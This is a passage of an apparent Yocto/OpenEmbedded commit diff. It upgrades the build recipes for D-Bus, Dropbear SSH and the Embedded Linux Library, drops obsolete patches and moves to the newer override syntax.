- #5 handle_client_state_waiting_for_data (auth=0x6ff340,
- command=<optimized out>, args=0x7fffffffe480) at dbus-auth.c:1996
- #6 0x000000000048e789 in process_command (auth=0x6ff340) at dbus-auth.c:2208
- #7 _dbus_auth_do_work (auth=0x6ff340) at dbus-auth.c:2458
- #8 0x000000000046091d in do_authentication (
- transport=transport@entry=0x6ffaa0, do_reading=do_reading@entry=1,
- do_writing=do_writing@entry=0,
- auth_completed=auth_completed@entry=0x7fffffffe55c)
- at dbus-transport-socket.c:442
- #9 0x0000000000461d08 in socket_handle_watch (transport=0x6ffaa0,
- watch=0x6f4190, flags=1) at dbus-transport-socket.c:921
- #10 0x000000000045fa3a in _dbus_transport_handle_watch (transport=0x6ffaa0,
-
-Once send_negotiate_unix_fd failed, this failure will happen, since
-auth->guid_from_server has been set to some value before
-send_negotiate_unix_fd. send_negotiate_unix_fd failure will lead to
-this auth be handled by process_ok again, but this auth->guid_from_server
-is not zero.
-
-So we should clear auth->guid_from_server if send_negotiate_unix_fd failed
-
-Signed-off-by: Roy Li <rongqing.li@windriver.com>
----
- dbus/dbus-auth.c | 9 +++++++--
- 1 file changed, 7 insertions(+), 2 deletions(-)
-
-diff --git a/dbus/dbus-auth.c b/dbus/dbus-auth.c
-index d2c37a7..37b45c6 100644
---- a/dbus/dbus-auth.c
-+++ b/dbus/dbus-auth.c
-@@ -1571,8 +1571,13 @@ process_ok(DBusAuth *auth,
- _dbus_verbose ("Got GUID '%s' from the server\n",
- _dbus_string_get_const_data (& DBUS_AUTH_CLIENT (auth)->guid_from_server));
-
-- if (auth->unix_fd_possible)
-- return send_negotiate_unix_fd(auth);
-+ if (auth->unix_fd_possible) {
-+ if (!send_negotiate_unix_fd(auth)) {
-+ _dbus_string_set_length (& DBUS_AUTH_CLIENT (auth)->guid_from_server, 0);
-+ return FALSE;
-+ }
-+ return TRUE;
-+ }
-
- _dbus_verbose("Not negotiating unix fd passing, since not possible\n");
- return send_begin (auth);
---
-1.7.10.4
-
diff --git a/meta/recipes-core/dbus/dbus/python-config.patch b/meta/recipes-core/dbus/dbus/python-config.patch
deleted file mode 100644
index da2f10c726..0000000000
--- a/meta/recipes-core/dbus/dbus/python-config.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-When building the dbus-ptest package, we have to enable python. However
-checking if the host-system python has the necessary library isn't useful.
-
-Disable the python module check for cross compiling.
-
-Upstream-Status: Inappropriate [oe specific]
-
-Signed-off-by: Mark Hatle <mark.hatle@windriver.com>
-
----
- configure.ac | 7 -------
- 1 file changed, 7 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index 80d27b4..becc1cc 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -279,13 +279,6 @@ if test "x$enable_tests" = xyes; then
- # full test coverage is required, Python is a hard dependency
- AC_MSG_NOTICE([Full test coverage (--enable-tests=yes) requires Python, dbus-python, pygi])
- AM_PATH_PYTHON([2.6])
-- AC_MSG_CHECKING([for Python modules for full test coverage])
-- if "$PYTHON" -c "import dbus, gi.repository.GObject, dbus.mainloop.glib"; then
-- AC_MSG_RESULT([yes])
-- else
-- AC_MSG_RESULT([no])
-- AC_MSG_ERROR([cannot import dbus, gi.repository.GObject, dbus.mainloop.glib Python modules])
-- fi
- else
- # --enable-tests not given: do not abort if Python is missing
- AM_PATH_PYTHON([2.6], [], [:])
---
-1.9.1
-
diff --git a/meta/recipes-core/dbus/dbus/run-ptest b/meta/recipes-core/dbus/dbus/run-ptest
index 48535e13da..54f43e1f68 100755
--- a/meta/recipes-core/dbus/dbus/run-ptest
+++ b/meta/recipes-core/dbus/dbus/run-ptest
@@ -1,33 +1,3 @@
#!/bin/sh
-
-output() {
- retcode=$?
- if [ $retcode -eq 0 ]
- then echo "PASS: $i"
- elif [ $retcode -eq 77 ]
- then echo "SKIP: $i"
- else echo "FAIL: $i"
- fi
-}
-
-export DBUS_TEST_HOMEDIR=./test
-export XDG_RUNTIME_DIR=./test
-export LD_LIBRARY_PATH=@PTEST_PATH@/test/.libs
-
-files=`ls test/test-*`
-
-for i in $files
-do
- #these programs are used by testcase test-bus, don't run here
- if [ $i = "test/test-service" ] \
- || [ $i = "test/test-shell-service" ] \
- || [ $i = "test/test-segfault" ] \
- || [ $i = "test/test-bus" ]
- then
- continue
- fi
-
- ./$i ./test/data >/dev/null 2>&1
- output
-done
+gnome-desktop-testing-runner dbus
diff --git a/meta/recipes-core/dbus/dbus_1.12.16.bb b/meta/recipes-core/dbus/dbus_1.12.16.bb
deleted file mode 100644
index f4fec2365c..0000000000
--- a/meta/recipes-core/dbus/dbus_1.12.16.bb
+++ /dev/null
@@ -1,177 +0,0 @@
-SUMMARY = "D-Bus message bus"
-DESCRIPTION = "D-Bus is a message bus system, a simple way for applications to talk to one another. In addition to interprocess communication, D-Bus helps coordinate process lifecycle; it makes it simple and reliable to code a \"single instance\" application or daemon, and to launch applications and daemons on demand when their services are needed."
-HOMEPAGE = "http://dbus.freedesktop.org"
-SECTION = "base"
-LICENSE = "AFL-2.1 | GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=10dded3b58148f3f1fd804b26354af3e \
- file://dbus/dbus.h;beginline=6;endline=20;md5=7755c9d7abccd5dbd25a6a974538bb3c"
-DEPENDS = "expat virtual/libintl autoconf-archive"
-RDEPENDS_dbus_class-native = ""
-RDEPENDS_dbus_class-nativesdk = ""
-PACKAGES += "${@bb.utils.contains('DISTRO_FEATURES', 'ptest', '${PN}-ptest', '', d)}"
-ALLOW_EMPTY_dbus-ptest = "1"
-RDEPENDS_dbus-ptest_class-target = "dbus-test-ptest"
-
-SRC_URI = "http://dbus.freedesktop.org/releases/dbus/dbus-${PV}.tar.gz \
- file://tmpdir.patch \
- file://dbus-1.init \
- file://clear-guid_from_server-if-send_negotiate_unix_f.patch \
-"
-
-SRC_URI[md5sum] = "2dbeae80dfc9e3632320c6a53d5e8890"
-SRC_URI[sha256sum] = "54a22d2fa42f2eb2a871f32811c6005b531b9613b1b93a0d269b05e7549fec80"
-
-inherit useradd autotools pkgconfig gettext update-rc.d upstream-version-is-even
-
-INITSCRIPT_NAME = "dbus-1"
-INITSCRIPT_PARAMS = "start 02 5 3 2 . stop 20 0 1 6 ."
-
-python __anonymous() {
- if not bb.utils.contains('DISTRO_FEATURES', 'sysvinit', True, False, d):
- d.setVar("INHIBIT_UPDATERCD_BBCLASS", "1")
-}
-
-USERADD_PACKAGES = "${PN}"
-GROUPADD_PARAM_${PN} = "-r netdev"
-USERADD_PARAM_${PN} = "--system --home ${localstatedir}/lib/dbus \
- --no-create-home --shell /bin/false \
- --user-group messagebus"
-
-CONFFILES_${PN} = "${sysconfdir}/dbus-1/system.conf ${sysconfdir}/dbus-1/session.conf"
-
-DEBIANNAME_${PN} = "dbus-1"
-
-PACKAGES =+ "${PN}-lib"
-
-OLDPKGNAME = "dbus-x11"
-OLDPKGNAME_class-nativesdk = ""
-
-# for compatibility
-RPROVIDES_${PN} = "${OLDPKGNAME}"
-RREPLACES_${PN} += "${OLDPKGNAME}"
-
-FILES_${PN} = "${bindir}/dbus-daemon* \
- ${bindir}/dbus-uuidgen \
- ${bindir}/dbus-cleanup-sockets \
- ${bindir}/dbus-send \
- ${bindir}/dbus-monitor \
- ${bindir}/dbus-launch \
- ${bindir}/dbus-run-session \
- ${bindir}/dbus-update-activation-environment \
- ${libexecdir}/dbus* \
- ${sysconfdir} \
- ${localstatedir} \
- ${datadir}/dbus-1/services \
- ${datadir}/dbus-1/system-services \
- ${datadir}/dbus-1/session.d \
- ${datadir}/dbus-1/session.conf \
- ${datadir}/dbus-1/system.d \
- ${datadir}/dbus-1/system.conf \
- ${datadir}/xml/dbus-1 \
- ${systemd_system_unitdir} \
- ${systemd_user_unitdir} \
- ${nonarch_libdir}/sysusers.d/dbus.conf \
- ${nonarch_libdir}/tmpfiles.d/dbus.conf \
-"
-FILES_${PN}-lib = "${libdir}/lib*.so.*"
-RRECOMMENDS_${PN}-lib = "${PN}"
-FILES_${PN}-dev += "${libdir}/dbus-1.0/include ${libdir}/cmake/DBus1 ${bindir}/dbus-test-tool"
-
-PACKAGE_WRITE_DEPS += "${@bb.utils.contains('DISTRO_FEATURES','systemd sysvinit','systemd-systemctl-native','',d)}"
-pkg_postinst_dbus() {
- # If both systemd and sysvinit are enabled, mask the dbus-1 init script
- if ${@bb.utils.contains('DISTRO_FEATURES','systemd sysvinit','true','false',d)}; then
- if [ -n "$D" ]; then
- OPTS="--root=$D"
- fi
- systemctl $OPTS mask dbus-1.service
- fi
-
- if [ -z "$D" ] && [ -e /etc/init.d/populate-volatile.sh ] ; then
- /etc/init.d/populate-volatile.sh update
- fi
-}
-
-
-EXTRA_OECONF = "--disable-tests \
- --disable-xml-docs \
- --disable-doxygen-docs \
- --disable-libaudit \
- --enable-largefile \
- --with-system-socket=/run/dbus/system_bus_socket \
- "
-
-EXTRA_OECONF_append_class-target = " SYSTEMCTL=${base_bindir}/systemctl"
-EXTRA_OECONF_append_class-native = " --disable-selinux"
-
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd x11', d)} \
- user-session \
- "
-
-PACKAGECONFIG_class-native = ""
-PACKAGECONFIG_class-nativesdk = ""
-
-PACKAGECONFIG[systemd] = "--enable-systemd --with-systemdsystemunitdir=${systemd_system_unitdir},--disable-systemd --without-systemdsystemunitdir,systemd"
-PACKAGECONFIG[x11] = "--with-x --enable-x11-autolaunch,--without-x --disable-x11-autolaunch, virtual/libx11 libsm"
-PACKAGECONFIG[user-session] = "--enable-user-session --with-systemduserunitdir=${systemd_user_unitdir},--disable-user-session"
-
-do_install() {
- autotools_do_install
-
- if ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'true', 'false', d)}; then
- install -d ${D}${sysconfdir}/init.d
- sed 's:@bindir@:${bindir}:' < ${WORKDIR}/dbus-1.init >${WORKDIR}/dbus-1.init.sh
- install -m 0755 ${WORKDIR}/dbus-1.init.sh ${D}${sysconfdir}/init.d/dbus-1
- install -d ${D}${sysconfdir}/default/volatiles
- echo "d messagebus messagebus 0755 ${localstatedir}/run/dbus none" \
- > ${D}${sysconfdir}/default/volatiles/99_dbus
- fi
-
- if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
- for i in dbus.target.wants sockets.target.wants multi-user.target.wants; do \
- install -d ${D}${systemd_system_unitdir}/$i; done
- install -m 0644 ${B}/bus/dbus.service ${B}/bus/dbus.socket ${D}${systemd_system_unitdir}/
- ln -fs ../dbus.socket ${D}${systemd_system_unitdir}/dbus.target.wants/dbus.socket
- ln -fs ../dbus.socket ${D}${systemd_system_unitdir}/sockets.target.wants/dbus.socket
- ln -fs ../dbus.service ${D}${systemd_system_unitdir}/multi-user.target.wants/dbus.service
- fi
-
-
- mkdir -p ${D}${localstatedir}/lib/dbus
-
- chown messagebus:messagebus ${D}${localstatedir}/lib/dbus
-
- chown root:messagebus ${D}${libexecdir}/dbus-daemon-launch-helper
- chmod 4755 ${D}${libexecdir}/dbus-daemon-launch-helper
-
- # Remove Red Hat initscript
- rm -rf ${D}${sysconfdir}/rc.d
-
- # Remove empty testexec directory as we don't build tests
- rm -rf ${D}${libdir}/dbus-1.0/test
-
- # Remove /var/run as it is created on startup
- rm -rf ${D}${localstatedir}/run
-}
-
-do_install_class-native() {
- autotools_do_install
-
- # dbus-launch has no X support so lets not install it in case the host
- # has a more featured and useful version
- rm -f ${D}${bindir}/dbus-launch
-}
-
-do_install_class-nativesdk() {
- autotools_do_install
-
- # dbus-launch has no X support so lets not install it in case the host
- # has a more featured and useful version
- rm -f ${D}${bindir}/dbus-launch
-
- # Remove /var/run to avoid QA error
- rm -rf ${D}${localstatedir}/run
-}
-BBCLASSEXTEND = "native nativesdk"
-
-INSANE_SKIP_${PN}-ptest += "build-deps"
diff --git a/meta/recipes-core/dbus/dbus_1.14.0.bb b/meta/recipes-core/dbus/dbus_1.14.0.bb
new file mode 100644
index 0000000000..7598c45f8e
--- /dev/null
+++ b/meta/recipes-core/dbus/dbus_1.14.0.bb
@@ -0,0 +1,183 @@
+SUMMARY = "D-Bus message bus"
+DESCRIPTION = "D-Bus is a message bus system, a simple way for applications to talk to one another. In addition to interprocess communication, D-Bus helps coordinate process lifecycle; it makes it simple and reliable to code a \"single instance\" application or daemon, and to launch applications and daemons on demand when their services are needed."
+HOMEPAGE = "https://dbus.freedesktop.org"
+SECTION = "base"
+
+inherit autotools pkgconfig gettext upstream-version-is-even ptest-gnome
+
+LICENSE = "AFL-2.1 | GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=10dded3b58148f3f1fd804b26354af3e \
+ file://dbus/dbus.h;beginline=6;endline=20;md5=866739837ccd835350af94dccd6457d8"
+
+SRC_URI = "https://dbus.freedesktop.org/releases/dbus/dbus-${PV}.tar.xz \
+ file://run-ptest \
+ file://tmpdir.patch \
+ file://dbus-1.init \
+"
+
+SRC_URI[sha256sum] = "ccd7cce37596e0a19558fd6648d1272ab43f011d80c8635aea8fd0bad58aebd4"
+
+EXTRA_OECONF = "--disable-xml-docs \
+ --disable-doxygen-docs \
+ --enable-largefile \
+ --with-system-socket=/run/dbus/system_bus_socket \
+ --enable-tests \
+ --enable-checks \
+ --enable-asserts \
+ "
+EXTRA_OECONF:append:class-target = " SYSTEMCTL=${base_bindir}/systemctl"
+
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd x11', d)} \
+ user-session \
+ "
+PACKAGECONFIG:class-native = ""
+PACKAGECONFIG:class-nativesdk = ""
+
+PACKAGECONFIG[systemd] = "--enable-systemd --with-systemdsystemunitdir=${systemd_system_unitdir},--disable-systemd --without-systemdsystemunitdir,systemd"
+PACKAGECONFIG[x11] = "--enable-x11-autolaunch,--without-x --disable-x11-autolaunch, virtual/libx11 libsm"
+PACKAGECONFIG[user-session] = "--enable-user-session --with-systemduserunitdir=${systemd_user_unitdir},--disable-user-session"
+PACKAGECONFIG[verbose-mode] = "--enable-verbose-mode,,,"
+PACKAGECONFIG[audit] = "--enable-libaudit,--disable-libaudit,audit"
+PACKAGECONFIG[selinux] = "--enable-selinux,--disable-selinux,libselinux"
+
+DEPENDS = "expat virtual/libintl autoconf-archive glib-2.0"
+RDEPENDS:${PN} += "${PN}-common ${PN}-tools"
+RDEPENDS:${PN}:class-native = ""
+
+inherit useradd update-rc.d
+
+INITSCRIPT_NAME = "dbus-1"
+INITSCRIPT_PARAMS = "start 02 5 3 2 . stop 20 0 1 6 ."
+
+python __anonymous() {
+ if not bb.utils.contains('DISTRO_FEATURES', 'sysvinit', True, False, d):
+ d.setVar("INHIBIT_UPDATERCD_BBCLASS", "1")
+}
+
+PACKAGES =+ "${PN}-lib ${PN}-common ${PN}-tools"
+
+USERADD_PACKAGES = "dbus-common"
+USERADD_PARAM:dbus-common = "--system --home ${localstatedir}/lib/dbus \
+ --no-create-home --shell /bin/false \
+ --user-group messagebus"
+
+CONFFILES:${PN} = "${sysconfdir}/dbus-1/system.conf ${sysconfdir}/dbus-1/session.conf"
+
+DEBIANNAME:${PN} = "dbus-1"
+
+OLDPKGNAME = "dbus-x11"
+OLDPKGNAME:class-nativesdk = ""
+
+# for compatibility
+RPROVIDES:${PN} = "${OLDPKGNAME}"
+RREPLACES:${PN} += "${OLDPKGNAME}"
+
+FILES:${PN} = "${bindir}/dbus-daemon* \
+ ${bindir}/dbus-cleanup-sockets \
+ ${bindir}/dbus-launch \
+ ${bindir}/dbus-run-session \
+ ${libexecdir}/dbus* \
+ ${sysconfdir} \
+ ${localstatedir} \
+ ${systemd_system_unitdir} \
+ ${systemd_user_unitdir} \
+ ${nonarch_libdir}/tmpfiles.d/dbus.conf \
+"
+FILES:${PN}-common = "${sysconfdir}/dbus-1 \
+ ${datadir}/dbus-1/services \
+ ${datadir}/dbus-1/system-services \
+ ${datadir}/dbus-1/session.d \
+ ${datadir}/dbus-1/session.conf \
+ ${datadir}/dbus-1/system.d \
+ ${datadir}/dbus-1/system.conf \
+ ${systemd_system_unitdir}/dbus.socket \
+ ${systemd_system_unitdir}/sockets.target.wants \
+ ${systemd_user_unitdir}/dbus.socket \
+ ${systemd_user_unitdir}/sockets.target.wants \
+ ${nonarch_libdir}/sysusers.d/dbus.conf \
+"
+FILES:${PN}-tools = "${bindir}/dbus-uuidgen \
+ ${bindir}/dbus-send \
+ ${bindir}/dbus-monitor \
+ ${bindir}/dbus-update-activation-environment \
+"
+FILES:${PN}-lib = "${libdir}/lib*.so.*"
+RRECOMMENDS:${PN}-lib = "${PN}"
+FILES:${PN}-dev += "${libdir}/dbus-1.0/include ${bindir}/dbus-test-tool ${datadir}/xml/dbus-1"
+
+RDEPENDS:${PN}-ptest += "bash make dbus"
+
+PACKAGE_WRITE_DEPS += "${@bb.utils.contains('DISTRO_FEATURES','systemd sysvinit','systemd-systemctl-native','',d)}"
+pkg_postinst:dbus() {
+ # If both systemd and sysvinit are enabled, mask the dbus-1 init script
+ if ${@bb.utils.contains('DISTRO_FEATURES','systemd sysvinit','true','false',d)}; then
+ if [ -n "$D" ]; then
+ OPTS="--root=$D"
+ fi
+ systemctl $OPTS mask dbus-1.service
+ fi
+
+ if [ -z "$D" ] && [ -e /etc/init.d/populate-volatile.sh ] ; then
+ /etc/init.d/populate-volatile.sh update
+ fi
+}
+
+
+do_install() {
+ autotools_do_install
+
+ if ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'true', 'false', d)}; then
+ install -d ${D}${sysconfdir}/init.d
+ sed 's:@bindir@:${bindir}:' < ${WORKDIR}/dbus-1.init >${WORKDIR}/dbus-1.init.sh
+ install -m 0755 ${WORKDIR}/dbus-1.init.sh ${D}${sysconfdir}/init.d/dbus-1
+ install -d ${D}${sysconfdir}/default/volatiles
+ echo "d messagebus messagebus 0755 ${localstatedir}/run/dbus none" \
+ > ${D}${sysconfdir}/default/volatiles/99_dbus
+ fi
+
+ if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
+ for i in dbus.target.wants sockets.target.wants multi-user.target.wants; do \
+ install -d ${D}${systemd_system_unitdir}/$i; done
+ install -m 0644 ${B}/bus/dbus.service ${B}/bus/dbus.socket ${D}${systemd_system_unitdir}/
+ ln -fs ../dbus.socket ${D}${systemd_system_unitdir}/dbus.target.wants/dbus.socket
+ ln -fs ../dbus.socket ${D}${systemd_system_unitdir}/sockets.target.wants/dbus.socket
+ ln -fs ../dbus.service ${D}${systemd_system_unitdir}/multi-user.target.wants/dbus.service
+ fi
+
+
+ mkdir -p ${D}${localstatedir}/lib/dbus
+
+ chown messagebus:messagebus ${D}${localstatedir}/lib/dbus
+
+ chown root:messagebus ${D}${libexecdir}/dbus-daemon-launch-helper
+ chmod 4755 ${D}${libexecdir}/dbus-daemon-launch-helper
+
+ # Remove Red Hat initscript
+ rm -rf ${D}${sysconfdir}/rc.d
+
+ # Remove empty testexec directory as we don't build tests
+ rm -rf ${D}${libdir}/dbus-1.0/test
+
+ # Remove /var/run as it is created on startup
+ rm -rf ${D}${localstatedir}/run
+}
+
+do_install:class-native() {
+ autotools_do_install
+
+ # dbus-launch has no X support so lets not install it in case the host
+ # has a more featured and useful version
+ rm -f ${D}${bindir}/dbus-launch
+}
+
+do_install:class-nativesdk() {
+ autotools_do_install
+
+ # dbus-launch has no X support so lets not install it in case the host
+ # has a more featured and useful version
+ rm -f ${D}${bindir}/dbus-launch
+
+ # Remove /var/run to avoid QA error
+ rm -rf ${D}${localstatedir}/run
+}
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-core/dropbear/dropbear.inc b/meta/recipes-core/dropbear/dropbear.inc
index 7269888a4e..78f9f9adbd 100644
--- a/meta/recipes-core/dropbear/dropbear.inc
+++ b/meta/recipes-core/dropbear/dropbear.inc
@@ -1,15 +1,16 @@
SUMMARY = "A lightweight SSH and SCP implementation"
HOMEPAGE = "http://matt.ucc.asn.au/dropbear/dropbear.html"
+DESCRIPTION = "Dropbear is a relatively small SSH server and client. It runs on a variety of POSIX-based platforms. Dropbear is open source software, distributed under a MIT-style license. Dropbear is particularly useful for "embedded"-type Linux (or other Unix) systems, such as wireless routers."
SECTION = "console/network"
# some files are from other projects and have others license terms:
# public domain, OpenSSH 3.5p1, OpenSSH3.6.1p2, PuTTY
LICENSE = "MIT & BSD-3-Clause & BSD-2-Clause & PD"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=a5ec40cafba26fc4396d0b550f824e01"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=25cf44512b7bc8966a48b6b1a9b7605f"
DEPENDS = "zlib virtual/crypt"
-RPROVIDES_${PN} = "ssh sshd"
-RCONFLICTS_${PN} = "openssh-sshd openssh"
+RPROVIDES:${PN} = "ssh sshd"
+RCONFLICTS:${PN} = "openssh-sshd openssh"
DEPENDS += "${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)}"
@@ -32,7 +33,7 @@ PAM_PLUGINS = "libpam-runtime \
pam-plugin-permit \
pam-plugin-unix \
"
-RDEPENDS_${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_PLUGINS}', '', d)}"
+RDEPENDS:${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_PLUGINS}', '', d)}"
inherit autotools update-rc.d systemd
@@ -41,7 +42,7 @@ CVE_PRODUCT = "dropbear_ssh"
INITSCRIPT_NAME = "dropbear"
INITSCRIPT_PARAMS = "defaults 10"
-SYSTEMD_SERVICE_${PN} = "dropbear.socket"
+SYSTEMD_SERVICE:${PN} = "dropbear.socket"
SBINCOMMANDS = "dropbear dropbearkey dropbearconvert"
BINCOMMANDS = "dbclient ssh scp"
@@ -58,6 +59,9 @@ EXTRA_OECONF += "\
# This is causing [textrel] QA warning
EXTRA_OECONF += "--disable-harden"
+# musl does not implement wtmp/logwtmp APIs
+EXTRA_OECONF:append:libc-musl = " --disable-wtmp --disable-lastlog"
+
do_install() {
install -d ${D}${sysconfdir} \
${D}${sysconfdir}/init.d \
@@ -93,24 +97,24 @@ do_install() {
fi
# deal with systemd unit files
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/dropbearkey.service ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/dropbear@.service ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/dropbear.socket ${D}${systemd_unitdir}/system
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/dropbearkey.service ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/dropbear@.service ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/dropbear.socket ${D}${systemd_system_unitdir}
sed -i -e 's,@BASE_BINDIR@,${base_bindir},g' \
-e 's,@BINDIR@,${bindir},g' \
-e 's,@SBINDIR@,${sbindir},g' \
- ${D}${systemd_unitdir}/system/dropbear.socket ${D}${systemd_unitdir}/system/*.service
+ ${D}${systemd_system_unitdir}/dropbear.socket ${D}${systemd_system_unitdir}/*.service
}
inherit update-alternatives
ALTERNATIVE_PRIORITY = "20"
-ALTERNATIVE_${PN} = "${@bb.utils.filter('BINCOMMANDS', 'scp ssh', d)}"
+ALTERNATIVE:${PN} = "${@bb.utils.filter('BINCOMMANDS', 'scp ssh', d)}"
ALTERNATIVE_TARGET = "${sbindir}/dropbearmulti"
-pkg_postrm_append_${PN} () {
+pkg_postrm:${PN} () {
if [ -f "${sysconfdir}/dropbear/dropbear_rsa_host_key" ]; then
rm ${sysconfdir}/dropbear/dropbear_rsa_host_key
fi
@@ -119,4 +123,4 @@ pkg_postrm_append_${PN} () {
fi
}
-FILES_${PN} += "${bindir}"
+FILES:${PN} += "${bindir}"
diff --git a/meta/recipes-core/dropbear/dropbear/dropbear-disable-weak-ciphers.patch b/meta/recipes-core/dropbear/dropbear/dropbear-disable-weak-ciphers.patch
index e48a34bac0..b54581f17a 100644
--- a/meta/recipes-core/dropbear/dropbear/dropbear-disable-weak-ciphers.patch
+++ b/meta/recipes-core/dropbear/dropbear/dropbear-disable-weak-ciphers.patch
@@ -1,33 +1,24 @@
-This feature disables all CBC, SHA1, and diffie-hellman group1 ciphers
+From c347ece05a7fdbf50d76cb136b9ed45caed333f6 Mon Sep 17 00:00:00 2001
+From: Joseph Reynolds <joseph.reynolds1@ibm.com>
+Date: Thu, 20 Jun 2019 16:29:15 -0500
+Subject: [PATCH] dropbear: new feature: disable-weak-ciphers
+
+This feature disables all CBC, SHA1, and diffie-hellman group1 ciphers
in the dropbear ssh server and client since they're considered weak ciphers
and we want to support the stong algorithms.
Upstream-Status: Inappropriate [configuration]
Signed-off-by: Joseph Reynolds <joseph.reynolds1@ibm.com>
-Index: dropbear-2019.78/default_options.h
-===================================================================
---- dropbear-2019.78.orig/default_options.h
-+++ dropbear-2019.78/default_options.h
-@@ -91,7 +91,7 @@ IMPORTANT: Some options will require "ma
-
- /* Enable CBC mode for ciphers. This has security issues though
- * is the most compatible with older SSH implementations */
--#define DROPBEAR_ENABLE_CBC_MODE 1
-+#define DROPBEAR_ENABLE_CBC_MODE 0
-
- /* Enable "Counter Mode" for ciphers. This is more secure than
- * CBC mode against certain attacks. It is recommended for security
-@@ -101,7 +101,7 @@ IMPORTANT: Some options will require "ma
- /* Message integrity. sha2-256 is recommended as a default,
- sha1 for compatibility */
- #define DROPBEAR_SHA1_HMAC 1
--#define DROPBEAR_SHA1_96_HMAC 1
-+#define DROPBEAR_SHA1_96_HMAC 0
- #define DROPBEAR_SHA2_256_HMAC 1
-
- /* Hostkey/public key algorithms - at least one required, these are used
-@@ -149,12 +149,12 @@ IMPORTANT: Some options will require "ma
+---
+ default_options.h | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/default_options.h b/default_options.h
+index 1aa2297..7ff1394 100644
+--- a/default_options.h
++++ b/default_options.h
+@@ -163,12 +163,12 @@ IMPORTANT: Some options will require "make clean" after changes */
* Small systems should generally include either curve25519 or ecdh for performance.
* curve25519 is less widely supported but is faster
*/
diff --git a/meta/recipes-core/dropbear/dropbear/dropbearkey.service b/meta/recipes-core/dropbear/dropbear/dropbearkey.service
index c49053d57c..71a12a6110 100644
--- a/meta/recipes-core/dropbear/dropbear/dropbearkey.service
+++ b/meta/recipes-core/dropbear/dropbear/dropbearkey.service
@@ -11,3 +11,4 @@ Type=oneshot
ExecStart=@BASE_BINDIR@/mkdir -p ${DROPBEAR_RSAKEY_DIR}
ExecStart=@SBINDIR@/dropbearkey -t rsa -f ${DROPBEAR_RSAKEY_DIR}/dropbear_rsa_host_key
RemainAfterExit=yes
+Nice=10
diff --git a/meta/recipes-core/dropbear/dropbear_2019.78.bb b/meta/recipes-core/dropbear/dropbear_2019.78.bb
deleted file mode 100644
index d2cd8161bf..0000000000
--- a/meta/recipes-core/dropbear/dropbear_2019.78.bb
+++ /dev/null
@@ -1,4 +0,0 @@
-require dropbear.inc
-
-SRC_URI[md5sum] = "a972c85ed678ad0fdcb7844e1294fb54"
-SRC_URI[sha256sum] = "525965971272270995364a0eb01f35180d793182e63dd0b0c3eb0292291644a4"
diff --git a/meta/recipes-core/dropbear/dropbear_2020.81.bb b/meta/recipes-core/dropbear/dropbear_2020.81.bb
new file mode 100644
index 0000000000..c7edea84f8
--- /dev/null
+++ b/meta/recipes-core/dropbear/dropbear_2020.81.bb
@@ -0,0 +1,3 @@
+require dropbear.inc
+
+SRC_URI[sha256sum] = "48235d10b37775dbda59341ac0c4b239b82ad6318c31568b985730c788aac53b"
diff --git a/meta/recipes-core/ell/ell_0.26.bb b/meta/recipes-core/ell/ell_0.26.bb
deleted file mode 100644
index f1f252ce4f..0000000000
--- a/meta/recipes-core/ell/ell_0.26.bb
+++ /dev/null
@@ -1,22 +0,0 @@
-SUMMARY = "Embedded Linux Library"
-DESCRIPTION = "The Embedded Linux Library (ELL) provides core, \
-low-level functionality for system daemons. It typically has no \
-dependencies other than the Linux kernel, C standard library, and \
-libdl (for dynamic linking). While ELL is designed to be efficient \
-and compact enough for use on embedded Linux platforms, it is not \
-limited to resource-constrained systems."
-SECTION = "libs"
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=fb504b67c50331fc78734fed90fb0e09"
-
-DEPENDS = "dbus"
-
-inherit autotools pkgconfig
-
-SRC_URI = "https://mirrors.edge.kernel.org/pub/linux/libs/${BPN}/${BPN}-${PV}.tar.xz"
-SRC_URI[md5sum] = "4660e25541071e933a2bb02ef2f94e7d"
-SRC_URI[sha256sum] = "7855b4b8f271ba6ee67d87d0965b975a9a8dbeaa616665ca2248afa3b5fcbc77"
-
-do_configure_prepend () {
- mkdir -p ${S}/build-aux
-}
diff --git a/meta/recipes-core/ell/ell_0.49.bb b/meta/recipes-core/ell/ell_0.49.bb
new file mode 100644
index 0000000000..9edd6fc92a
--- /dev/null
+++ b/meta/recipes-core/ell/ell_0.49.bb
@@ -0,0 +1,23 @@
+SUMMARY = "Embedded Linux Library"
+HOMEPAGE = "https://01.org/ell"
+DESCRIPTION = "The Embedded Linux Library (ELL) provides core, \
+low-level functionality for system daemons. It typically has no \
+dependencies other than the Linux kernel, C standard library, and \
+libdl (for dynamic linking). While ELL is designed to be efficient \
+and compact enough for use on embedded Linux platforms, it is not \
+limited to resource-constrained systems."
+SECTION = "libs"
+LICENSE = "LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=fb504b67c50331fc78734fed90fb0e09"
+
+DEPENDS = "dbus"
+
+inherit autotools pkgconfig
+
+SRC_URI = "https://mirrors.edge.kernel.org/pub/linux/libs/${BPN}/${BPN}-${PV}.tar.xz \
+ "
